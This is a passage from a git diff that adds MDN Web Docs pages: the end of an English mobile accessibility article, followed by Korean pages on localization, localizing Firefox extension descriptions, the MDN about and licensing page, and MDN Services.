+ <li>Thinking about high resolutions. Many mobile devices have high-resolution screens, and therefore need higher-resolution images so that the display can continue to look crisp and sharp. Again, you can serve images as appropriate using responsive image techniques. In addition, many image requirements can be fulfilled using the SVG vector images format, which is well-supported across browsers today. SVG has a small file size and will stay sharp regardless of whatever size is being displayed  (see <a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">Adding vector graphics to the web</a> for more details).</li>
+</ul>
+
+<p><strong>Note:</strong> We won't provide a full discussion of responsive design techniques here, as they are covered in other places around MDN (see above links).</p>
+
+<h3 id="Specific_mobile_considerations">Specific mobile considerations</h3>
+
+<p>There are other important issues to consider when making sites more accessible on mobile. We have listed a couple here, but we will add more when we think of them.</p>
+
+<h4 id="Not_disabling_zoom">Not disabling zoom</h4>
+
+<p>Using <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Mobile/Viewport_meta_tag">viewport</a>, it is possible to disable zoom. Always ensure resizing is enabled, and set the width to the device's width in the {{htmlelement("head")}}:</p>
+
+<pre class="brush: html"><code>&lt;meta name="viewport" content="width=device-width; user-scalable=yes"&gt;</code></pre>
+
+<p>You should never set <code>user-scalable=no</code> if at all possible — many people rely on zoom to be able to see the content of your website, so taking this functionality away is a really bad idea. There are certain situations where zooming might break the UI; in such cases, if you feel that you absolutely need to disable zoom, you should provide some other kind of equivalent, such as a control for increasing the text size in a way that doesn't break your UI.</p>
+
+<h4 id="Keeping_menus_accessible">Keeping menus accessible</h4>
+
+<p>Because the screen is so much narrower on mobile devices, it is very common to use media queries and other technologies to make the navigation menu shrink down to a tiny icon at the top of the display — which can be pressed to reveal the menu only if it's needed — when the site is viewed on mobile. This is commonly represented by a "three horizontal lines" icon, and the design pattern is consequently known as a "hamburger menu".</p>
+
+<p>When implementing such a menu, you need to make sure that the control to reveal it is accessible by appropriate control mechanisms (normally touch for mobile), as discussed in {{anch("Control mechanisms")}} above, and that the rest of the page is moved out of the way or hidden in some way while the menu is being accessed, to avoid confusion with navigating it.</p>
+
+<p>Click here for a <a href="http://fritz-weisshart.de/meg_men/">good hamburger menu example</a>.</p>
+
+<h2 id="User_input">User input</h2>
+
+<p>On mobile devices, inputting data tends to be more annoying for users than the equivalent experience on desktop computers. It is more convenient to type text into form inputs using a desktop or laptop keyboard than a touchscreen virtual keyboard or a tiny mobile physical keyboard.</p>
+
+<p>For this reason, it is worth trying to minimize the amount of typing needed. As an example, instead of getting users to fill out their job title each time using a regular text input, you could instead offer a {{htmlelement("select")}} menu containing the most common options (which also helps with consistency in data entry), and offer an "Other" option that displays a text field to type any outliers into. You can see a simple example of this idea in action in <a href="https://github.com/mdn/learning-area/blob/master/accessibility/mobile/common-job-types.html">common-job-types.html</a> (see the <a href="http://mdn.github.io/learning-area/accessibility/mobile/common-job-types.html">common jobs example live</a>).</p>
+
+<p>It is also worth considering the use of HTML5 form input types such as the date on mobile platforms as they handle them well — both Android and iOS, for example, display usable widgets that fit well with the device experience. See <a href="https://github.com/mdn/learning-area/blob/master/accessibility/mobile/html5-form-examples.html">html5-form-examples.html</a> for some examples (see the <a href="http://mdn.github.io/learning-area/accessibility/mobile/html5-form-examples.html">HTML5 form examples live</a>) — try loading these and manipulating them on mobile devices. For example:</p>
+
+<ul>
+ <li>Types <code>number</code>, <code>tel</code>, and <code>email</code> display suitable virtual keyboards for entering numbers/telephone numbers.</li>
+ <li>Types <code>time</code> and <code>date</code> display suitable pickers for selecting times and dates.</li>
+</ul>
+
+<p>If you want to provide a different solution for desktops, you could always serve different markup to your mobile devices using feature detection. See <a href="http://diveinto.html5doctor.com/detect.html#input-types">input types</a> for raw information on detecting different input types, and also check out our <a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection">feature detection article</a> for much more information.</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>In this article, we have provided you with some details about common mobile accessibility-specific issues and how to overcome them. We also took you through the usage of the most common screenreaders to aid you in accessibility testing.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://www.smashingmagazine.com/guidelines-for-mobile-web-development/">Guidelines For Mobile Web Development</a> — A list of articles in <em>Smashing Magazine</em> covering different techniques for mobile web design.</li>
+ <li><a href="http://www.creativebloq.com/javascript/make-your-site-work-touch-devices-51411644">Make your site work on touch devices</a> — Useful article about using touch events to get interactions working on mobile devices.</li>
+</ul>
+
+<div>{{PreviousMenuNext("Learn/Accessibility/Multimedia","Learn/Accessibility/Accessibility_troubleshooting", "Learn/Accessibility")}}</div>
+
+<div>
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Accessibility/What_is_accessibility">What is accessibility?</a></li>
+ <li><a href="/en-US/docs/Learn/Accessibility/HTML">HTML: A good basis for accessibility</a></li>
+ <li><a href="/en-US/docs/Learn/Accessibility/CSS_and_JavaScript">CSS and JavaScript accessibility best practices</a></li>
+ <li><a href="/en-US/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA basics</a></li>
+ <li><a href="/en-US/docs/Learn/Accessibility/Multimedia">Accessible multimedia</a></li>
+ <li><a href="/en-US/docs/Learn/Accessibility/Mobile">Mobile accessibility</a></li>
+ <li><a href="/en-US/docs/Learn/Accessibility/Accessibility_troubleshooting">Accessibility troubleshooting</a></li>
+</ul>
+</div>
diff --git a/files/ko/localization/index.html b/files/ko/localization/index.html
new file mode 100644
index 0000000000..d2f45a54e0
--- /dev/null
+++ b/files/ko/localization/index.html
@@ -0,0 +1,63 @@
+---
+title: Localization
+slug: Localization
+tags:
+  - Localization
+translation_of: Glossary/Localization
+---
+<div>
+ <p><b>지역화</b>는 소프트웨어 사용자 인터페이스를 다른 언어로 번역하고 그 문화에 맞게 바꾸는 과정을 의미합니다. 지역화와 관련된 내용은 모질라 기반의 프로그램이나 확장기능을 지역화 할 수 있게 만드는 것에 관한 것입니다.</p>
+ <table class="topicpage-table">
+  <tbody>
+   <tr>
+    <td>
+     <h4 id=".EC.84.A0.ED.83.9D.EB.90.9C_.EC.A3.BC.EC.A0.9C" name=".EC.84.A0.ED.83.9D.EB.90.9C_.EC.A3.BC.EC.A0.9C">선택된 주제</h4>
+     <dl>
+      <dt>
+       <a href="ko/Create_a_new_localization">Create a new localization</a></dt>
+      <dd>
+       <small>First read for volunteers wanting to create a new localization.</small></dd>
+     </dl>
+     <dl>
+      <dt>
+       <a href="ko/XUL_Tutorial/Localization">XUL Tutorial:Localization</a></dt>
+      <dd>
+       <small><a href="ko/XUL_Tutorial">XUL Tutorial</a> XUL 응용프로그램 지역화 관련.</small></dd>
+     </dl>
+     <dl>
+      <dt>
+       <a href="ko/Writing_localizable_code">Writing localizable code</a></dt>
+      <dd>
+       <small>프로그래머를 위한 최상의 지역화 작업의 실례와 제시안들.</small></dd>
+     </dl>
+     <dl>
+      <dt>
+       <span class="exlink"><a href="ko/Localizing_descriptions_of_extensions_(external)">Localizing descriptions of extensions</a></span></dt>
+      <dd>
+       <small>확장기능의 설명을 지역화 하기위해서는 "install.rdf" 파일 내에 입력된 사항들을 대체하기 위한 특별한 설정키가 필요합니다.</small></dd>
+      <dd>
+       <small>본문에서는 이러한 설정 키들을 어떻게 수정하는지 그 순서 및 방법에 관한 내용을 담고 있습니다.</small></dd>
+     </dl>
+     <p><br>
+      <span class="alllinks"><a>View All...</a></span></p>
+    </td>
+    <td>
+     <h4 id=".EB.8B.A4.EB.A5.B8_.ED.8E.98.EC.9D.B4.EC.A7.80.EB.93.A4" name=".EB.8B.A4.EB.A5.B8_.ED.8E.98.EC.9D.B4.EC.A7.80.EB.93.A4">다른 페이지들</h4>
+     <ul>
+      <li><a>Articles</a></li>
+      <li><a>Tools</a></li>
+      <li><a href="ko/Localization/Community">Community</a></li>
+     </ul>
+     <h4 id=".EA.B4.80.EB.A0.A8_.EC.A3.BC.EC.A0.9C.EB.93.A4" name=".EA.B4.80.EB.A0.A8_.EC.A3.BC.EC.A0.9C.EB.93.A4">관련 주제들</h4>
+     <dl>
+      <dd>
+       <a href="ko/Extensions">Extensions</a>, <a href="ko/XUL">XUL</a></dd>
+     </dl>
+    </td>
+   </tr>
+  </tbody>
+ </table>
+ <p><span class="comment">Categories</span></p>
+ <p><span class="comment">Interwiki Language Links</span></p>
+</div>
+<p>{{ languages( { "en": "en/Localization", "es": "es/Localizaci\u00f3n", "it": "it/Localization", "fr": "fr/Localisation", "ja": "ja/Localization", "pl": "pl/Lokalizacja" } ) }}</p>
diff --git a/files/ko/localizing_extension_descriptions/index.html b/files/ko/localizing_extension_descriptions/index.html
new file mode 100644
index 0000000000..763c51c275
--- /dev/null
+++ b/files/ko/localizing_extension_descriptions/index.html
@@ -0,0 +1,90 @@
+---
+title: Localizing extension descriptions
+slug: Localizing_extension_descriptions
+tags:
+  - Add-ons
+  - Extensions
+  - Localization
+translation_of: Mozilla/Localization/Localizing_extension_descriptions
+---
+<p> </p>
+<h3 id="Gecko_1.9.EC.9D.98_.EC.A7.80.EC.97.AD.ED.99.94" name="Gecko_1.9.EC.9D.98_.EC.A7.80.EC.97.AD.ED.99.94">Gecko 1.9의 지역화</h3>
+<p>{{ Gecko_minversion_header(1.9) }} {{ Fx_minversion_header(3) }}</p>
+<p>Gecko 1.9는 부가 기능 설명과 기타 메타데이터를 지역화하는 새롭고 더욱 견고한 방법을 포함합니다. 모든 다양한 설명은 이제 <code>em:localized</code> 속성을 사용하여 <a href="ko/Install_Manifests">install.rdf</a> 파일에 나타납니다. 각각은 정보가 사용되는 로케일을 표시하는 적어도 하나 이상의 <code>em:locale</code> 속성을 포함하고 나서 로케일에 대한 다양한 문자열을 포함합니다. 다음 예제는 이를 잘 보여줍니다(명료하게 하려고 대부분의 일반적인 선언 속성은 삭제했습니다).</p>
+<pre>&lt;?xml version="1.0"?&gt;
+
+&lt;RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+     xmlns:em="http://www.mozilla.org/2004/em-rdf#"&gt;
+  &lt;Description about="urn:mozilla:install-manifest"&gt;
+    &lt;em:id&gt;TabSidebar@blueprintit.co.uk&lt;/em:id&gt;
+    &lt;em:localized&gt;
+      &lt;Description&gt;
+        &lt;em:locale&gt;de-DE&lt;/em:locale&gt;
+        &lt;em:name&gt;Tab Sidebar&lt;/em:name&gt;
+        &lt;em:description&gt;Zeigt in einer Sidebar Vorschaubilder der Inhalte aller offenen Tabs an.&lt;/em:description&gt;
+      &lt;/Description&gt;
+    &lt;/em:localized&gt;
+    &lt;em:localized&gt;
+      &lt;Description&gt;
+        &lt;em:locale&gt;es-ES&lt;/em:locale&gt;
+        &lt;em:name&gt;Tab Sidebar&lt;/em:name&gt;
+        &lt;em:description&gt;Muestra una vista previa de sus pestañas en su panel lateral.&lt;/em:description&gt;
+      &lt;/Description&gt;
+    &lt;/em:localized&gt;
+    &lt;em:localized&gt;
+      &lt;Description&gt;
+        &lt;em:locale&gt;nl-NL&lt;/em:locale&gt;
+        &lt;em:name&gt;Tab Sidebar&lt;/em:name&gt;
+        &lt;em:description&gt;Laat voorbeeldweergaven van uw tabbladen in de zijbalk zien.&lt;/em:description&gt;
+      &lt;/Description&gt;
+    &lt;/em:localized&gt;
+    &lt;em:name&gt;Tab Sidebar&lt;/em:name&gt;
+    &lt;em:description&gt;Displays previews of your tabs in your sidebar.&lt;/em:description&gt;
+  &lt;/Description&gt;
+&lt;/RDF&gt;
+</pre>
+<p>아래에 언급한 모든 메타데이터는 이러한 방식으로 지역화합니다. <code>em:localized</code> 속성이 제공하는 지역화 정보는 아래에 자세히 설명하듯이 지역화 선택 사항을 사용하여 덮어 쓸 수 있습니다.</p>
+<p>주어진 로케일에 대해서 사용할 <code>em:localized</code> 속성을 선택하는 과정은 다음과 같습니다.</p>
+<ol>
+ <li>로케일과 정확하게 일치하는 <code>em:locale</code>을 가진 속성이 있으면 그것을 사용합니다.</li>
+ <li>부분적으로 일치하는 것이 있으면 대시로 구분된 가장 일치하는 부분을 가진 것을 사용합니다 (예: es는 es-ES와 일치하고 반대로도 마찬가지).</li>
+ <li>일치하는 부분의 수가 같은 하나 이상의 로케일이 있으면 가장 일반적인 것을 사용합니다 (예: en-US를 찾을 때 en-GB보다 en을 선호).</li>
+</ol>
+<p>현재의 애플리케이션 로케일을 검색하고 나서 en-US에 대한 대체(fallback) 검색을 합니다.</p>
+<p>선택 사항이 지정되어 있지 않고 현재 로케일이나 en-US에 대해 일치하는 <code>em:localized</code> 속성이 없는 경우에는 최후 방편으로 설치 선언에 직접 지정된 속성을 사용합니다. 이는 Gecko 1.9 이전에 항상 사용되었기 때문입니다.</p>
+<h3 id="Gecko_1.9_.EC.9D.B4.EC.A0.84_.EB.B2.84.EC.A0.84.EC.9D.98_.EC.A7.80.EC.97.AD.ED.99.94" name="Gecko_1.9_.EC.9D.B4.EC.A0.84_.EB.B2.84.EC.A0.84.EC.9D.98_.EC.A7.80.EC.97.AD.ED.99.94">Gecko 1.9 이전 버전의 지역화</h3>
+<p>Gecko 1.9 이전 버전에서는 (Firefox나 Thunderbird와 같은) 툴킷 기반의 애플리케이션을 대상으로 하는 부가 기능에 대한 지역화된 부가 기능 설명을 정의하려면 부가 기능 개발자가 특별한 과정을 밟아야 합니다.</p>
+<ul>
+ <li><a href="ko/Localizing_an_extension#Localizing_strings_in_JavaScript_code">지역화된 속성 파일</a>이 없으면 만듭니다. 외국어 문자가 제대로 표시될 수 있도록 꼭 UTF-8 인코딩을 사용해야 합니다.</li>
+ <li>각각의 지역화된 속성 파일에 (<var>EXTENSION_ID</var>가 여러분의 확장 아이디(<a href="ko/Install.rdf">install.rdf</a>의 <code>&lt;em:id&gt;</code>)와 일치하고 <var>LOCALIZED_DESCRIPTION</var>이 주어진 언어에서 표시할 여러분의 확장에 대한 설명인 곳에) 다음 줄을 추가합니다:
+  <pre>extensions.EXTENSION_ID.description=LOCALIZED_DESCRIPTION</pre>
+ </li>
+ <li><a href="ko/Building_an_Extension#Defaults_Files">기본 선택 사항 파일</a>이 없으면 만듭니다.</li>
+ <li>그 파일에 (<var>EXTENSION_ID</var>가 여러분의 <a href="ko/Install_Manifests">install.rdf</a>의 애플리케이션 아이디와 일치하고 <var>PATH_TO_LOCALIZATION_FILE</var>가 앞서 추가한 지역화 파일의 크롬 경로인 곳에) 다음 줄을 추가합니다:
+  <pre>pref("extensions.EXTENSION_ID.description", "PATH_TO_LOCALIZATION_FILE");</pre>
+ </li>
+</ul>
+<h4 id=".EC.A7.80.EC.97.AD.ED.99.94_.EA.B0.80.EB.8A.A5_.EB.AC.B8.EC.9E.90.EC.97.B4" name=".EC.A7.80.EC.97.AD.ED.99.94_.EA.B0.80.EB.8A.A5_.EB.AC.B8.EC.9E.90.EC.97.B4">지역화 가능 문자열</h4>
+<p>다음의 부가 기능 메타데이터를 이 과정에 따라 지역화할 수 있습니다.</p>
+<ul>
+ <li>name</li>
+ <li>description</li>
+ <li>creator</li>
+ <li>homepageURL</li>
+</ul>
+<h4 id=".EC.A7.80.EC.97.AD.ED.99.94_.EA.B0.80.EB.8A.A5_.EB.AA.A9.EB.A1.9D" name=".EC.A7.80.EC.97.AD.ED.99.94_.EA.B0.80.EB.8A.A5_.EB.AA.A9.EB.A1.9D">지역화 가능 목록</h4>
+<p>여러 값이 존재하는 경우에 대비하여 숫자 색인이 선택 사항 이름 뒤에 붙습니다.</p>
+<pre>extensions.EXTENSION_ID.contributor.1=FIRST_LOCALIZED_CONTRIBUTOR_NAME
+extensions.EXTENSION_ID.contributor.2=SECOND_LOCALIZED_CONTRIBUTOR_NAME
+extensions.EXTENSION_ID.contributor.3=THRID_LOCALIZED_CONTRIBUTOR_NAME
+
+pref("extensions.EXTENSION_ID.contributor.1", "PATH_TO_LOCALIZATION_FILE");
+pref("extensions.EXTENSION_ID.contributor.2", "PATH_TO_LOCALIZATION_FILE");
+pref("extensions.EXTENSION_ID.contributor.3", "PATH_TO_LOCALIZATION_FILE");
+</pre>
+<p>다음의 부가 기능 메타데이터를 이 과정에 따라 지역화할 수 있습니다.</p>
+<ul>
+ <li>developer</li>
+ <li>translator</li>
+ <li>contributor</li>
+</ul>
diff --git a/files/ko/mdn/about/index.html b/files/ko/mdn/about/index.html
new file mode 100644
index 0000000000..79923381d6
--- /dev/null
+++ b/files/ko/mdn/about/index.html
@@ -0,0 +1,118 @@
+---
+title: MDN 이란
+slug: MDN/About
+tags:
+  - Collaborating
+  - Community
+  - Copyright
+  - Documentation
+  - Guide
+  - Licenses
+  - MDN Meta
+translation_of: MDN/About
+---
+<div>{{MDNSidebar}}</div>
+
+<div>{{IncludeSubnav("/ko/docs/MDN")}}</div>
+
+<p>MDN Web Docs는 웹 기술과 웹을 더 강력하게 만들어주는 소프트웨어를 배우기 위해 끊임없이 발전하는 학습 플랫폼입니다. 아래와 같은 주제를 다루고 있어요.</p>
+
+<ul>
+ <li><a href="/ko/docs/CSS" title="/en-US/docs/CSS">CSS</a>, <a href="/ko/docs/HTML" title="/en-US/docs/HTML">HTML</a>, <a href="/ko/docs/JavaScript" title="/en-US/docs/JavaScript">JavaScript</a>와 같은 웹 표준</li>
+ <li><a href="/ko/docs/Apps" title="/en-US/docs/Apps">열린 Web을 위한 애플리케이션 개발</a></li>
+ <li><a href="/ko/docs/Add-ons" title="/en-US/docs/Add-ons">Firefox 부가 기능 개발</a></li>
+</ul>
+
+<h2 id="우리의_목표">우리의 목표</h2>
+
+<p>MDN의 목표는 간단합니다.<a href="/ko/docs/Web"> 열린 웹</a>의 모든 것을 완벽하고, 정확하면서도 피가 되고 살이 되는 문서를 제공해 드리는 것입니다. Mozilla에서 개발한 소프트웨어가 지원하냐 마느냐에 상관 없이, 웹에서 볼 수 있는 열린 기술이라면 문서로 만들어 보고 싶습니다.</p>
+
+<p>덧붙여서, 우리는 <a href="/ko/docs/Mozilla">Mozilla 프로젝트를 빌드하거나 도와주는</a> 방법과 <a href="/ko/Firefox_OS">Firefox OS</a>, <a href="/ko/Apps">Web 애플리케이션 개발</a>에 관한 문서도 제공해드리고 있습니다.</p>
+
+<p>MDN이 여러분이 생각하는 특정 주제를 다룰지 안 다룰지 잘 모르겠다고요? <a href="/ko/docs/MDN/Contribute/Does_this_belong">이건 MDN에 있나요?</a>을 읽어보세요.</p>
+
+<h2 id="도움을_주시려면">도움을 주시려면</h2>
+
+<p>코드를 잘 짜거나 글을 잘 쓰는 사람만 MDN을 도와줄 수 있는 것은 아닙니다! 게시물이 이해가 잘 되는지 검토하는 것부터 글을 조금 더 보태주거나, 예제 코드를 만드는 방법까지 여러분들이 MDN을 도와주는 방법은 굉장히 많답니다. 사실은 우리는 <a href="/ko/docs/MDN/Getting_started">도와줄 작업을 고르는 데 도움을 주는 글</a>이 있을 정도로 도와줄 수 있는 방법이 많답니다. 얼마나 시간을 쓸 수 있는지, 또 어느 분야에 관심이 있는지에 따라 입맛대로 고를 수 있다고요!</p>
+
+<p>여러분의 블로그나 홈페이지에서 <a href="/ko/docs/MDN/About/Promote">MDN을 홍보</a>해줄 수도 있구요. </p>
+
+<h2 id="MDN_커뮤니티">MDN 커뮤니티</h2>
+
+<p>MDN은 세계적인 공통체입니다. 이미 전세계 수많은 언어권에 있는 엄청난 공헌자들과 함께하고 있습니다. 우리 공동체를 더 알고 싶거나, MDN에 기여하고 싶다면 <a href="https://discourse.mozilla-community.org/c/mdn">토론방</a>과 <a href="irc://irc.mozilla.org#mdn">IRC 채널</a>을 언제든 찾아오세요. 아니면 <a href="http://twitter.com/MozDevNet">@MozDevNet</a> 트위터 계정통해서 우리가 뭘하는지 지켜보거나, 오류 신고 혹은 글쓴이, 공헌자에게 피드백(감사의 표현이면 좋겠네요!) 트윗을 날려도 됩니다.</p>
+
+<h2 id="MDN_Web_Docs_콘텐츠_사용법">MDN Web Docs 콘텐츠 사용법</h2>
+
+<p>MDN에 있는 콘텐츠는 변경이 가능하지만, 오픈소스 라이센스 아래 있습니다. </p>
+
+<h3 id="저작권과_라이센스">저작권과 라이센스</h3>
+
+<p>MDN의 콘텐츠 사용은 여러 종류의 오픈소스 라이센스들 하에서만 가능합니다. 이 장에서는 우리가 제공하는 컨텐츠 유형과 그에 따른 라이센스에 대해 설명합니다. </p>
+
+<h4 id="위키_문서와_기고문">위키 문서와 기고문</h4>
+
+<p>MDN의 위키 문서들은 Mozilla 재단 안팍의 수많은 공헌자들의 도움으로 만들어졌습니다. 별다른 표시가 없는 한 이곳에 있는 내용은 <a class="external text" href="http://creativecommons.org/licenses/by-sa/2.5/" rel="nofollow" title="http://creativecommons.org/licenses/by-sa/2.5/">크리에이티브 커먼즈 저작자 표시-동일조건 변경 허락</a>(CC-BY-SA) v2.5나 그 이후 버전의 적용을 받습니다. "Mozilla 공헌자들(Mozilla Contributors)"이라고 출처를 표기하고, 출처가 되는 위키 페이지의 (온라인) 링크를 달거나 (인쇄물) URL을 표기하여 주십시오. 가령, 이 글의 출처를 표기해야 할 때, 아래와 같이 쓸 수 있습니다.</p>
+
+<blockquote><a href="/ko/docs/MDN/About$history">Mozilla 공헌자들(Mozilla Contributors)</a>이 작성한 <a href="/ko/docs/MDN/About">MDN 소개</a>는 <a href="http://creativecommons.org/licenses/by-sa/2.5/">CC-BY-SA 2.5</a> 라이선스의 적용을 받습니다.</blockquote>
+
+<p>예시에서 보시다시피, "Mozilla 공헌자들(Mozilla Contributors)"은 인용한 페이지의 변경 기록을 링크하고 있습니다. 더 많은 설명이 필요하다면  <a href="http://wiki.creativecommons.org/Marking/Users">출처를 표시하는 가장 좋은 습관</a>을 읽어보세요.</p>
+
+<div class="note">
+<p><strong>참고해보세요:</strong> <a href="/en-US/docs/MDN_content_on_WebPlatform.org" title="/en-US/docs/MDN_content_on_WebPlatform.org">WebPlatform.org의 MDN 컨텐츠</a>를 참고하여 저 사이트에서 MDN의 컨텐츠를 어떻게 재사용하고 출처를 표기하는지 알아보세요.</p>
+</div>
+
+<h4 id="예제_코드와_코드_조각">예제 코드와 코드 조각</h4>
+
+<p>2010년 8월 20일 이후 추가된 코드 예제는 <a class="external" href="http://creativecommons.org/publicdomain/zero/1.0/" title="http://wiki.creativecommons.org/Public_domain">저작권을 갖지 않습니다(퍼블릭 도메인 CC0)</a>. 어떠한 라이선스 공지도 필요하지 않지만, 혹시 필요하다면 다음 내용을 추가할 수 있습니다. "모든 저작권을 퍼블릭 도메인으로 모두에게 공개합니다. "Any copyright is dedicated to the Public Domain. http://creativecommons.org/publicdomain/zero/1.0/"</p>
+
+<p>2010년 8월 20일 이전에 이 위키에 작성된 코드 예제는 <a class="external" href="http://www.opensource.org/licenses/mit-license.php" title="http://www.opensource.org/licenses/mit-license.php">MIT 라이선스</a>의 적용을 받으니, 반드시 다음의 MIT 템플릿에 해당하는 권한 정보를 삽입하여야 합니다. "© &lt;마지막으로 위키 페이지를 수정한 날짜&gt; &lt;위키에 이 내용을 넣은 사람의 이름&gt;"</p>
+
+<h4 id="기여할_때">기여할 때</h4>
+
+<p>이 위키에 기여하고 싶으시다면, 반드시 크리에이티브 커먼즈 저작자 표시-동일조건 변경 허락 라이선스(또는 편집하고 있는 문서에 이미 적용된 다른 라이선스) 하에 사용할 수 있도록 문서를 작성하여야 하고, 여러분의 코드 예제는 <a href="http://creativecommons.org/publicdomain/zero/1.0/" title="http://creativecommons.org/publicdomain/zero/1.0/">Creative Commons CC-0</a>(퍼블릭 도메인) 하에 이용할 수 있어야 합니다. 이 위키에 추가함으로써 여러분들의 기여가 그러한 라이선스 아래에 이용 가능하다는 것을 이미 동의했다고 간주합니다.</p>
+
+<p>몇몇 오래된 컨텐츠는 위에서 설명했던 것과 다른 라이선스 하에 이용 가능합니다. 이러한 경우 해당 문서는 <a class="internal" href="/Project:en/Examples/Alternate_License_Block" title="Project:En/Examples/Alternate License Block">다른 라이선스 블럭</a>을 페이지의 맨 아래에 위치시켜 표시하고 있습니다.</p>
+
+<div class="warning">
+<p><strong>중요합니다:</strong> 다른 라이센스의 적용을 받는 페이지는 더이상 만들 수 없습니다.</p>
+</div>
+
+<p><strong>작성자가 다른 이에게 부여하지 않는 한, 기여된 자료의 저작권은 해당 작성자에게 있습니다.</strong></p>
+
+<p>지금까지 이야기했던 내용에 대해 질문이 있거나 걱정되는 부분이 있다면 <a class="external" href="mailto:mdn-admins@mozilla.org?subject=MDN%20license%20question" rel="nofollow" title="mailto:eshepherd@mozilla.com">MDN 관리자 이메일</a> 로 연락주세요.</p>
+
+<h4 id="로고_상표_마크">로고, 상표, 마크</h4>
+
+<p>이 웹사이트의 외관과 느낌, 상표, 로고 등의 마크에 대한 저작권은 Mozilla 재단에 있습니다. 이는 크리에이티브 커먼즈 라이선스 하에 있지 않으며, 로고 및 그래픽 디자인과 같은 저작물의 범위 내에 있을 경우 이 라이선스 정책 아래에서 사용할 수 없습니다. 문서의 원문을 사용하면서 이러한 저작물의 권리도 사용하고 싶다거나, 이러한 라이선스 정책을 따르는 것에 관하여 다른 질문이 있다면, Mozilla 재단에 연락을 해야 합니다: <a class="external text" href="mailto:licensing@mozilla.org" rel="nofollow" title="mailto:licensing@mozilla.org">licensing@mozilla.org</a>.</p>
+
+<h3 id="MDN_링크걸기">MDN 링크걸기</h3>
+
+<p><a href="/ko/docs/MDN/About/Linking_to_MDN">MDN 링크하기</a>를 보고 모범사례를 확인하세요. </p>
+
+<h2 id="내용_다운받기">내용 다운받기</h2>
+
+<p><a href="https://mdn-downloads.s3-us-west-2.amazonaws.com/developer.mozilla.org.tar.gz">MDN 전체를 압축한 tar 파일</a>을 다운받을 수 있습니다. (2017년 2월 기준 2.1GB)</p>
+
+<h3 id="단일_페이지">단일 페이지</h3>
+
+<p>URL에 당신이 원하는 문서 형태의 <a href="/ko/docs/MDN/Contribute/Tools/Document_parameters#URL_parameters">문서 파라미터</a>를 추가하면 됩니다. </p>
+
+<h3 id="제3자_도구">제3자 도구</h3>
+
+<p><a href="http://kapeli.com/dash">Dash</a>(OS X용)나 <a href="http://zealdocs.org/">Zeal</a>(리눅스/윈도우용)와 같은 도구를 사용하면서 MDN의 컨텐츠를 볼 수 있습니다.</p>
+
+<p>또한 <a href="https://kapeli.com/">Kapeli</a>는 HTML, CSS, JavaScript, SVG, and XSLT을 포함한 <a href="https://kapeli.com/mdn_offline">오프라인 MDN 문서</a>를 출판합니다.</p>
+
+<h2 id="MDN의_문제점_보고하기">MDN의 문제점 보고하기</h2>
+
+<p><a href="/ko/docs/MDN/Contribute/Howto/Report_a_problem">MDN에 문제 보고하기</a>를 참조해 주세요.</p>
+
+<h2 id="MDN_Web_Docs가_지나온_길">MDN Web Docs가 지나온 길</h2>
+
+<p>MDN Web Docs는 (Mozilla Developer Network(MDN), Mozilla Developer Center(MDC)나 <em>Devmo</em>로 알려져 있던) Mozilla Developer Network 프로젝트는 <a class="external" href="https://www.mozilla.org/en-US/foundation/">Mozilla 재단</a>이 AOL로부터 <a href="/en-US/docs/Archive/Meta_docs/DevEdge" title="Project:en/DevEdge">DevEdge</a>의 원문 컨텐츠를 사용하는 라이선스를 취득한 2005년 초에 시작되었습니다. DevEdge 컨텐츠는 그때 자원봉사자들이 이 위키에 이전하여 개선하고 유지하기가 더욱 쉬워져, 지속적으로 유용한 내용을 만들기 위해 다듬어졌습니다.</p>
+
+<p><a href="/ko/docs/MDN_at_ten">10주년 기념 축하</a> 페이지에서 더 자세한 내용을 볼수 있습니다. 참여했던 사람들의 생생한 증언들도 포함되어있습니다. </p>
+
+<h2 id="Mozilla는">Mozilla는</h2>
+
+<p>우리가 누구인지에 대해서 더 알아보고 싶거나, Mozilla의 구성원이 되는 법, 아니면 그냥 우리가 어디있는지 찾아보고 싶다면 제대로 찾아오신 게 맞습니다. 우리가 무엇을 위해 나아가고, 무엇이 우리를 다르게 만드는지 궁금하시다면 <a href="https://www.mozilla.org/ko/mission/">사명</a> 페이지를 방문해보세요.</p>
diff --git a/files/ko/mdn/about/mdn_services/index.html b/files/ko/mdn/about/mdn_services/index.html
new file mode 100644
index 0000000000..1d04e3d468
--- /dev/null
+++ b/files/ko/mdn/about/mdn_services/index.html
@@ -0,0 +1,15 @@
+---
+title: MDN Services
+slug: MDN/About/MDN_services
+tags:
+  - Landing
+  - MDN Meta
+translation_of: MDN/About/MDN_services
+---
+<div>{{MDNSidebar}}</div>
+
+<p class="summary">MDN 서비스는 기존 워크플로우에 적합하고 개발자가 웹 코드를 개선할 수 있도록 설계된 웹 개개발자를 위한 실험적 유틸리티입니다. 모든 MDN 서비스는 개발 초기 알파 단계에 있으므로, 아직 코드 품질 보장에 의존하지 않는 것이 좋습니다. 만약 프로토타입으로 실험하고 싶다면, 아래의 서비스들은 실험할 준비가 되어있으며, 우리는 그것에 대해 당신의 피드백을 받고 싶습니다.</p>
+
+<h2 id="웹_호환성_서비스_Discord">웹 호환성 서비스 ("Discord")</h2>
+
+<p><a href="http://mdn-discord.herokuapp.com/">Discord</a>는 당신의 코드에서 호환성 문제를 포착하기 위한 <a href="https://help.github.com/articles/about-webhooks/">GitHub webhook</a> 입니다. 현재 CSS 코드를 <a href="https://github.com/anandthakker/doiuse.com">doiuse</a>로 스캔하고 GitHub의 코드 커밋에 주석을 추가합니다.</p>
diff --git a/files/ko/mdn/community/conversations/index.html b/files/ko/mdn/community/conversations/index.html
new file mode 100644
index 0000000000..9d41e6c30c
--- /dev/null
+++ b/files/ko/mdn/community/conversations/index.html
@@ -0,0 +1,63 @@
+---
+title: MDN community conversations
+slug: MDN/Community/Conversations
+tags:
+  - Community
+  - Guide
+  - MDN Meta
+translation_of: MDN/Community/Conversations
+---
+<div>{{MDNSidebar}}</div>
+
